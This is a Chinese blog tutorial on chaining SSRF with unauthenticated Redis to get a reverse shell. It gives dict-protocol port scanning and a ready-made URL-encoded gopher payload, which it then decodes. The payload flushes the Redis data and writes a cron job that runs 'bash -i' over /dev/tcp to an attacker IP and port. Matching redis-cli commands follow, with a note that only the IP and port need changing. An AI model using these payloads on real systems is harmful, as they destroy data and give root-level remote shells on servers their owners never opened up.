首页 > 数据库 >SSRF结合Redis未授权的打法

SSRF结合Redis未授权的打法

时间:2024-07-14 21:31:08浏览次数:17  
标签:64% SSRF Redis 打法 25% 0a 0d% 30% 61%

目录


SSRF不难理解,服务器端请求伪造(英语:Server-side Request Forgery,简称SSRF)是攻击者滥用服务器功能来访问或操作无法被直接访问的信息的方式之一。

服务器端请求伪造攻击将域中的不安全服务器作为代理使用,这与利用网页客户端的跨站请求伪造攻击类似(如处在域中的浏览器可作为攻击者的代理)。

SSRF + Redis未授权 案例

SSRF漏洞结合Redis未授权漏洞,怎么利用?

SSRF漏洞可以:

  • 利用可以访问内网的主机当成代理;

Redis未授权访问漏洞,可以利用该漏洞实现:

  • 信息泄露、数据删除;
  • 写入SSH公钥,SSH远程登录;
  • 反弹Shell
    • Dict协议
    • gopher协议
    • 构造Redis数据包,通过写入Linux 计划任务
    • 构造Redis数据包,利用Redis的数据备份功能,将web shell写入目标服务器(centos)的网站根目录下,然后用菜刀连接获取shell。
  • ...

结合起来就是:
通过代理向内网机器发送请求,收到请求的内网机器,因为机器自身存在未授权Redis漏洞,可以反弹Shell出去。

流程如下:

  • 找到SSRF
  • 找6379端口的过程
  • 验证是否存在SSRF
  • 发送Web攻击荷载

流程图:
image

条件:
当在外部站点发现SSRF漏洞时,尝试用代理找内网的Redis服务(找默认的6379端口),看看是否存在Redis未授权漏洞,如果存在,就可以尝试获取反弹Shell。

找6379端口的过程:
基于dict协议的利用
GET /ssrf/ssrf.phpurl=dict://192.168.124.153:&XXXX& HTTP/1.1

只需要遍历&XXXX& 从 0-65535 即可。
可能6379端口会修改成别的端口,但可以通过一些响应包内的特征确认:

image

验证是否存在SSRF的方式之一:
GET /ssrf/ssrf.php?url=http://Xxxx.dnslog.cn HTTP/1.1

发送redis数据包:

http://127.0.0.1:8080/vul/ssrf/ssrf_curl.php?url=%67%6f%70%68%65%72%3a%2f%2f%31%39%32%2e%31%36%38%2e%34%30%2e%33%34%3a%36%33%37%39%2f%5f%2a%31%25%30%64%25%30%61%24%38%25%30%64%25%30%61%66%6c%75%73%68%61%6c%6c%25%30%64%25%30%61%2a%33%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%31%25%30%64%25%30%61%31%25%30%64%25%30%61%24%35%39%25%30%64%25%30%61%25%30%61%25%30%61%2a%2f%31%20%2a%20%2a%20%2a%20%2a%20%62%61%73%68%20%2d%69%20%3e%26%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%34%30%2e%31%30%2f%34%34%34%34%20%30%3e%26%31%25%30%61%25%30%61%25%30%61%25%30%64%25%30%61%2a%34%25%30%64%25%30%61%24%36%25%30%64%25%30%61%63%6f%6e%66%69%67%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%33%25%30%64%25%30%61%64%69%72%25%30%64%25%30%61%24%31%36%25%30%64%25%30%61%2f%76%61%72%2f%73%70%6f%6f%6c%2f%63%72%6f%6e%2f%25%30%64%25%30%61%2a%34%25%30%64%25%30%61%24%36%25%30%64%25%30%61%63%6f%6e%66%69%67%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%31%30%25%30%64%25%30%61%64%62%66%69%6c%65%6e%61%6d%65%25%30%64%25%30%61%24%34%25%30%64%25%30%61%72%6f%6f%74%25%30%64%25%30%61%2a%31%25%30%64%25%30%61%24%34%25%30%64%25%30%61%73%61%76%65%25%30%64%25%30%61

解码:

gopher://192.168.40.34:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$59%0d%0a%0a%0a*/1 * * * * bash -i >&/dev/tcp/192.168.40.10/4444 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a

在解码:

gopher://192.168.40.34:6379/_*1
$8
flushall
*3
$3
set
$1
1
$59


*/1 * * * * bash -i >&/dev/tcp/192.168.40.10/4444 0>&1



*4
$6
config
$3
set
$3
dir
$16
/var/spool/cron/
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
save

只需要修改 192.168.40.10/4444 ,在攻击者机器监听4444端口,就可以得到shell了。

思考:

  1. 本次实验只是针对基于SSRF漏洞的gopher协议攻击,但是在真实环境中,SSRF内的内网主机或者服务器有可能是不出网,这时候怎么反弹shell ?

  2. 如果目标 Redis 服务器存在身份验证,公网内存在VPS怎么反弹?如果没有root权限怎么实现计划任务?

怎么构造 redis 数据包?

背景知识:
gopher协议是一个古老且强大的协议,可以理解为是http协议的前身,他可以实现多个数据包整合发送。

在利用gopher协议进行攻击时,我们首先要知道gopher协议的流的怎么样的,所以现在需要构造一个正常请求,在攻击机上启用监听,使用流量转发工具socat,抓取tcp流量,然后将其流量转换为gopher格式,生成gopher流的攻击样本,为下面是构造一个gopher流的过程:

  1. 打开socat流量工具,记录攻击流量

  2. 现找一台类似环境的Redis服务器,在系统中执行如下命令:

      Redis攻击代码:
      redis-cli -h 127.0.0.1 flushall  #清除缓存
      echo -e "\n\n*/1 * * * * bash -i >&/dev/tcp/192.168.40.10/3333 0>&1\n\n" | redis-cli -h 127.0.0.1 -x set 1  #反弹shell,由于在kali机上开启了监听,所以可以将本地的流量转发至这里,每隔1分钟往kali弹shell
    
      redis-cli -h 127.0.0.1 config set dir /var/spool/cron/ #设置工作目录,这里指的是计划任务
      redis-cli -h 127.0.0.1 config set dbfilename root #设置保存文件名字,也就是将计划任务写入到目标的文件
      redis-cli -h 127.0.0.1 save  #保存
    
  3. 将如上的流量写入到1.txt,在将1.txt的TCP流形式转换为gopher流格式:

    *1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$59%0d%0a%0a%0a*/1 * * * * bash -i >&/dev/tcp/192.168.40.10/3333 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a
    

Reference

SSRF之利用dict和gopher吊打Redis
https://www.cnblogs.com/CoLo/p/14214208.html

SSRF——手把手教你Redis反弹Shell
https://blog.csdn.net/sudu2020dd/article/details/130998763

标签:64%,SSRF,Redis,打法,25%,0a,0d%,30%,61%
From: https://www.cnblogs.com/mysticbinary/p/18297386

相关文章

  • Factory method 'redissonClient' threw exception; nested exception is java.lang.I
    你遇到的这个错误是在Spring框架中常见的,它表示在创建Bean的过程中,有一个依赖关系未能得到满足。在这个特定的情况下,错误发生在创建voucherOrderController和voucherOrderServiceImpl这两个Bean时,其根本原因是无法实例化redissonClient,而redissonClient的创建失败是因为提供的Redi......
  • Redis集群模式
    一、Redis集群方式主从模式、哨兵模式、集群模式(cluster)主从复制:解决数据备份,读写分离。但是无法实现自动化故障转移,无法对master进行扩容。哨兵模式:实现自动化故障恢复。在读写分离下,单节点导致服务不可用。集群模式:解决负载均衡以及存储问题。模式版本优点缺点......
  • 记录些Redis题集(2)
    Redis的多路IO复用多路I/O复用是一种同时监听多个文件描述符(如Socket)的状态变化,并能在某个文件描述符就绪时执行相应操作的技术。在Redis中,多路I/O复用技术主要用于处理客户端的连接请求和读写操作,以实现高并发、高性能的服务。Redis支持多种多路I/O复用机制,包括select、poll......
  • 记录些Redis题集(4)
    Redis通讯协议(RESP)Redis通讯协议(RedisSerializationProtocol,RESP)是Redis服务端与客户端之间进行通信的协议。它是一种二进制安全的文本协议,设计简洁且易于实现。RESP主要用于支持客户端和服务器之间的请求响应交互。RESP的主要特点:简单性:协议的设计非常简单,易于理......
  • 记录些Redis题集(1)
    Redis内存淘汰触发条件的相关配置如下:Redis通过配置项maxmemory来设定其允许使用的最大内存容量。当Redis实际占用的内存达到这一阈值时,将触发内存淘汰机制,开始删除部分数据以释放内存空间,防止服务因内存溢出而异常。Redis内存淘汰策略可在配置文件redis.conf中通过maxmemory......
  • Redis:高性能的开源缓存数据库
    简介:Redis(RemoteDictionaryServer)是一个基于内存的开源缓存数据库,常用于缓存、消息队列、分布式锁等场景。它被设计成快速、可靠且易于使用的数据库系统,具有高性能、高可用、可扩展性等特点。本篇博客将介绍Redis的基本原理、常见应用场景以及优势。Redis的基本原理Redis......
  • Redis存储原理与数据模型
    Redis存储结构存储转换redis-value编码stringint:字符串长度小于等于20切能转成整数raw:字符串长度大于44embstr:字符串长度小于等于44listquicklist(双向链表)ziplist(压缩链表)hashdict(字典):节点数量大于512或者字符串长度大于64ziplist(压缩链表):节点数......
  • [Redis]字符串详解
    Redis中的字符串是可以修改的字符串,在内存中它是以字节数组的形式存在的。我们知道C语言里面的字符串标准形式是以NULL(即0x\0)作为结束符,但是在Redis里面,字符串不是这么表示的。因为要获取以NULL结尾的字符串的长度使用的是strlen标准库函数,这个函数的算法复杂度是0(n......
  • 【java登录锁定功能】redis实现登录失败锁定账号
    登录失败(账号密码<5次时不提示),>=5次时,锁定时间5min,最高密码错误次数为10,第十次密码输入错误后,提醒,“账号已停用,请联系管理员开通”,次日0时,重新计算错误次数代码实现publicstaticStringLOGIN_FAIL_LOCK="login:error:count:";publicstaticStringLOGIN......
  • Docker部署Redis
    查看可用的redis版本dockersearchredis拉取redis最新镜像dockerpullredis:latest查看本地镜像dockerimages创建挂在文件点击查看代码mkdir-pv/test1/docker_volume/redis/datamkdir-pv/test1/docker_volume/redis/confcd/test1/docker_volume/re......